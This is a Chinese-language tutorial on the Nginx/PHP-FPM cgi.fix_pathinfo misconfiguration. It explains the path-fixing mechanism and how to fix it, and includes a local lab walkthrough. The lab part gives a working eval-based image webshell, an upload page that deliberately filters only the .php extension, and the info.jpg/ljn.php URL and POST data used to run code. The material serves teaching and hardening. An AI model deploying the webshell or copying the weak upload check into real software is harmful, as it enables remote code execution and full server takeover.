目录
[① 第一步:Nginx 的转发 "误判"](#① 第一步:Nginx 的转发 “误判”)
[② 第二步:PHP cgi.fix_pathinfo=1 的 "路径修复" 逻辑](#② 第二步:PHP cgi.fix_pathinfo=1 的 “路径修复” 逻辑)
[③ 总结:双重规则的 "错位叠加"](#③ 总结:双重规则的 “错位叠加”)
本文分析了Nginx+PHP-FPM环境下因配置不当导致的安全风险。当Nginx错误转发含.php的请求、PHP开启cgi.fix_pathinfo路径修复功能且PHP-FPM未严格限制可执行文件类型时,攻击者可上传恶意图片(如info.jpg),通过访问图片.jpg/.php路径使服务器将其作为PHP脚本执行,实现远程代码执行。文章详细讲解其原理,提供了环境搭建和渗透测试步骤,并指出根本修复方案:关闭cgi.fix_pathinfo、严格限制PHP-FPM可执行后缀、规范Nginx配置。一、Nginx文件上传错误配置解析
1、错误解析简介
Nginx错误配置解析是一类由不安全配置组合 导致的安全问题。其主要成因包括Nginx将含.php的请求直接转发、PHP配置中cgi.fix_pathinfo=1允许路径修复,以及PHP-FPM配置中security.limit_extensions未严格限制执行文件类型。当攻击者上传包含恶意代码的图片并访问图片.jpg/任意.php此类路径时,该配置链条会导致图片被当作PHP脚本执行,从而实现远程代码执行。
| 特性维度 | 配置错误 |
|---|---|
| 核心成因 | Nginx、PHP、PHP-FPM三者配置不当形成的不安全链条。 |
| 触发条件 | 1. Nginx将含 .php 的请求转给PHP-FPM。 2. cgi.fix_pathinfo=1 (PHP配置,允许路径修复)。 3. security.limit_extensions 为空或包含非PHP后缀 (PHP-FPM配置,不限制执行文件类型)。 |
| 影响范围 | 理论上非常广泛,只要使用Nginx+PHP-FPM且配置不当的环境都可能受影响。 |
| 根本修复方案 | 修正三方配置 : 1. PHP : cgi.fix_pathinfo=0。 2. PHP-FPM : security.limit_extensions=.php。 3. Nginx : 规范 location 配置,使用 $document_root。 |
| 危害 | 攻击者可上传恶意图片等文件,远程执行任意代码,完全控制服务器。 |
2、cgi.fix_pathinfo
(1)配置核心作用
该配置仅在 PHP 以CGI/FastCGI 模式 (Nginx+PHP-FPM 的主流运行模式)工作时生效,作用是控制 PHP 对请求 URL 中「畸形文件路径 / 后缀」的解析修正规则,仅有两个取值,安全差异极大:
- 开启(默认值)
cgi.fix_pathinfo = 1:PHP 会开启路径信息自动修正 ,忽略请求文件名中「真实文件后缀」后的所有多余内容,仅识别文件实际存在的部分,哪怕后续拼接了其他后缀,仍会按原文件类型解析执行。 - 关闭(安全值)
cgi.fix_pathinfo = 0:PHP 严格校验文件路径与后缀,仅解析服务器上真实存在、且后缀为.php 的文件,对畸形路径 / 拼接后缀请求直接拒绝解析,从根源阻断安全风险。
(2)递归式路径匹配机制
cgi.fix_pathinfo 作为 PHP 适配 CGI/FastCGI 模式(Nginx+PHP 主流架构)的核心配置,其 处理 文件路径的本质是递归式路径匹配机制 :当 PHP 接收到形如/aaa.xxx/bbb.yyy/ccc.zzz的文件路径请求时,会从后往前逐段剔除路径后缀,直到找到服务器上真实存在的文件:
- 首先校验完整路径
/aaa.xxx/bbb.yyy/ccc.zzz是否存在,若不存在则剔除最后一段/ccc.zzz; - 接着校验剩余路径
/aaa.xxx/bbb.yyy是否存在,若存在则将其判定为该请求对应的真实文件,忽略被剔除的/ccc.zzz; - 若
/aaa.xxx/bbb.yyy仍不存在,继续剔除/bbb.yyy,重复上述校验流程,直至找到存在的文件或路径完全剔除。
(3)核心逻辑
错误解析安全风险的发生,需要同时满足以下几个条件:
-
Nginx配置不当 :配置中使用了类似
location ~ \.php$ { ... }的规则,使所有以.php结尾的请求都交给PHP-FPM处理。这本身是正常配置,但结合其他条件就会产生问题。 -
PHP配置不当 (关键) :在
php.ini中,cgi.fix_pathinfo参数被设置为1(旧版本PHP的默认值)。这会让PHP在找不到指定文件时,向前寻找并执行路径中第一个存在的文件。 -
PHP-FPM配置不当 :在
php-fpm.conf或www.conf中,security.limit_extensions配置项为空或包含.jpg等非PHP后缀 。这导致PHP-FPM会去解析和执行非.php文件。

flowchart TD
A[攻击者构造特殊URL<br>访问 example.com/upload/malicious.jpg/nonexist.php] --> B
subgraph B[Nginx 处理请求]
B1["匹配 .php$ 的 location<br>将请求传递给 PHP-FPM 处理"]
end
B --> C
subgraph C[PHP-FPM 根据 cgi.fix_pathinfo 解析]
direction LR
C1["检查 /upload/malicious.jpg/nonexist.php<br>文件不存在"]
C1 --> C2["cgi.fix_pathinfo = 1<br>向前查找存在的文件"]
C2 --> C3["最终解析 /upload/malicious.jpg<br>执行其中的PHP恶意代码"]
end
C --> D[漏洞触发<br>恶意代码以Web权限执行]

flowchart TD
A[攻击者构造特殊URL<br>访问 example.com/upload/malicious.jpg/nonexist.php] --> B
subgraph B[Nginx 处理请求]
B1["匹配 .php$ 的 location<br>将请求传递给 PHP-FPM 处理"]
end
B --> C
subgraph C[PHP-FPM 根据 cgi.fix_pathinfo 解析]
direction LR
C1["检查 /upload/malicious.jpg/nonexist.php<br>文件不存在"]
C1 --> C2["cgi.fix_pathinfo = 1<br>向前查找存在的文件"]
C2 --> C3["最终解析 /upload/malicious.jpg<br>执行其中的PHP恶意代码"]
end
C --> D[漏洞触发<br>恶意代码以Web权限执行]
(4)风险示例讲解
攻击者上传shell.jpg/.php这类畸形后缀文件(绕过上传后缀校验)后,Nginx 将请求转发给 PHP;PHP 会按 "修复" 逻辑剔除.php,识别到真实存在的shell.jpg文件,并错误地将其当作 PHP 脚本交由解析器执行,最终导致非 PHP 文件被解析为恶意代码,引发服务器权限泄露。
① 第一步:Nginx 的转发 "误判"
Nginx 在处理shell.jpg/.php这类带特殊后缀的请求时,会基于自身的路径解析规则,将请求的 "后缀特征" 优先级高于文件真实类型:
- Nginx 识别到 URL 中包含
.php后缀,会判定这是一个 PHP 脚本请求,进而将该请求转发给后端的 PHP-FPM(PHP 解析器)处理,而非按静态文件(JPG)直接返回; - 此时 Nginx 忽略了文件的真实后缀是
.jpg,仅以 URL 中 "最后出现的.php" 作为判定依据,为后续 PHP 错误解析埋下伏笔。
② 第二步:PHP cgi.fix_pathinfo=1 的 "路径修复" 逻辑
当 PHP-FPM 接收到 Nginx 转发的shell.jpg/.php请求后,因cgi.fix_pathinfo=1开启,会触发递归式路径匹配:
- PHP 首先校验完整路径
shell.jpg/.php是否存在 ------ 服务器上实际只有shell.jpg,该路径不存在; - 按 "修复" 规则剔除最后一段
.php,校验剩余路径shell.jpg,发现该文件真实存在; - PHP 会将
shell.jpg判定为该请求对应的 "真实脚本文件",并忽略被剔除的.php后缀; - 关键风险点:PHP 此时已接收到 Nginx 传递的 "PHP 脚本请求" 标识,因此不会按 JPG 静态文件处理,而是将找到的
shell.jpg文件当作 PHP 脚本解析执行。
③ 总结:双重规则的 "错位叠加"
- Nginx 的核心问题:只看 URL 中的
.php后缀就转发给 PHP 解析器,无视文件真实类型; - PHP 的核心问题:开启
cgi.fix_pathinfo后,只校验文件是否存在,无视请求原本的后缀匹配要求,直接将存在的shell.jpg按 PHP 脚本解析。
最终,攻击者上传的shell.jpg(内含 PHP 恶意代码),通过拼接.php后缀触发 Nginx 转发,再经 PHP 的 "路径修复" 逻辑被错误解析为 PHP,而非按其真实的 JPG 类型处理,最终导致恶意代码执行。
3、影响版本
由于新php在php5-fpm配置文件php-fpm.conf引入了"security.limit_extensions",限制了可执行文件的后缀,默认只允许执行.php文件。由于"security.limit_extensions"的引入,使得该风险难以被成功利用。受影响版本如下所示:
- nginx 0.5 全系列(
0.5.*) - nginx 0.6 全系列(
0.6.*) - nginx 0.7 系列:版本号 ≤ 0.7.65
- nginx 0.8 系列:版本号 ≤ 0.8.37
三、环境搭建
环境:Windows Server2003,PHPStudy2016,配置文件中cgi.fix_pathinfo=1
1、使用PHPStudy2016
如下所示,启动PHPStudy2016,切换为Nginx+MySQL,这里php版本选择5.2.17。

2、配置Web服务端口使不冲突
如果启动Nginx的过程中端口冲突,需要将Nginx端口修改,如下所示在我的环境中将Nginx的端口号修改为8000。

3、配置php.ini文件
打开php.ini文件,方法为启动界面的-其他选项-打开配置文件-php-ini,如下所示。

修改php.ini文件,将cgi.fix_pathinfo=0 改为cgi.fix_pathinfo=1并保存。
修改前如下所示:

修改后如下所示:

4、重启Web服务
修改完毕后重启php study的Web服务,具体如下所示。

四、渗透实战
1、构造脚本
构建脚本如下所示,命名为info.jpg。
|-----------------------------------------------------------|
| GIF89a <?php echo "mooyuan"; @eval($_POST['ljn']); ?> |

2、搭建靶场
在网站根目录新建upload.php,内容如下所示。
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <form action="#" method="post" enctype="multipart/form-data"> <input type="file" name="file1"> <input type="submit" value="upload"> </form> </body> </html> <?php if(!empty(_FILES\['file1'\])){ if(_FILES['file1']['error'] == 0){ file = pathinfo(_FILES['file1']['name']); if(strtolower(file\['extension'\])=='php'){ echo "invalid file"; }else{ if(!file_exists(_FILES['file1']['name'])){ move_uploaded_file(_FILES\['file1'\]\['tmp_name'\], './'._FILES['file1']['name']); echo "upload success"; }else{ echo "the file alread exists,please select again"; } } }else{ echo $_FILES['file1']['error']; } } ?> |
代码实现了一个允许用户上传文件的网页。其逻辑流程如下:
-
前端表单 :提供了一个
POST方式的文件上传表单。 -
后端处理逻辑(PHP):
-
检查文件存在 :首先检查用户是否选择了文件(
!empty($_FILES['file1']))。 -
检查上传错误 :确认文件上传过程中没有错误(
error == 0)。 -
检查文件扩展名:
-
目的 :试图阻止用户直接上传
.php文件。 -
方式 :使用
pathinfo获取文件名和后缀,并用strtolower确保后缀被统一转换为小写后进行比对。
-
-
文件重名检查 :检查上传目录中是否已存在同名文件(
file_exists)。 -
保存文件 :如果一切正常,使用
move_uploaded_file函数将临时文件移动到当前目录(./)下
-

3、上传info.jpg
访问自制的文件上传靶场upload.php, URL和页面效果如下所示。
http://127.0.0.1:8000/upload.php

上传info.jpg,如下所示上传成功。


4、访问脚本
URL地址填写http://127.0.0.1:8000/info.jpg/ljn.php,POST data输入ljn=phpinfo();点击执行后如下所示显示页面的php信息,说明渗透成功。
http://127.0.0.1:8000/info.jpg/ljn.php
ljn=phpinfo();
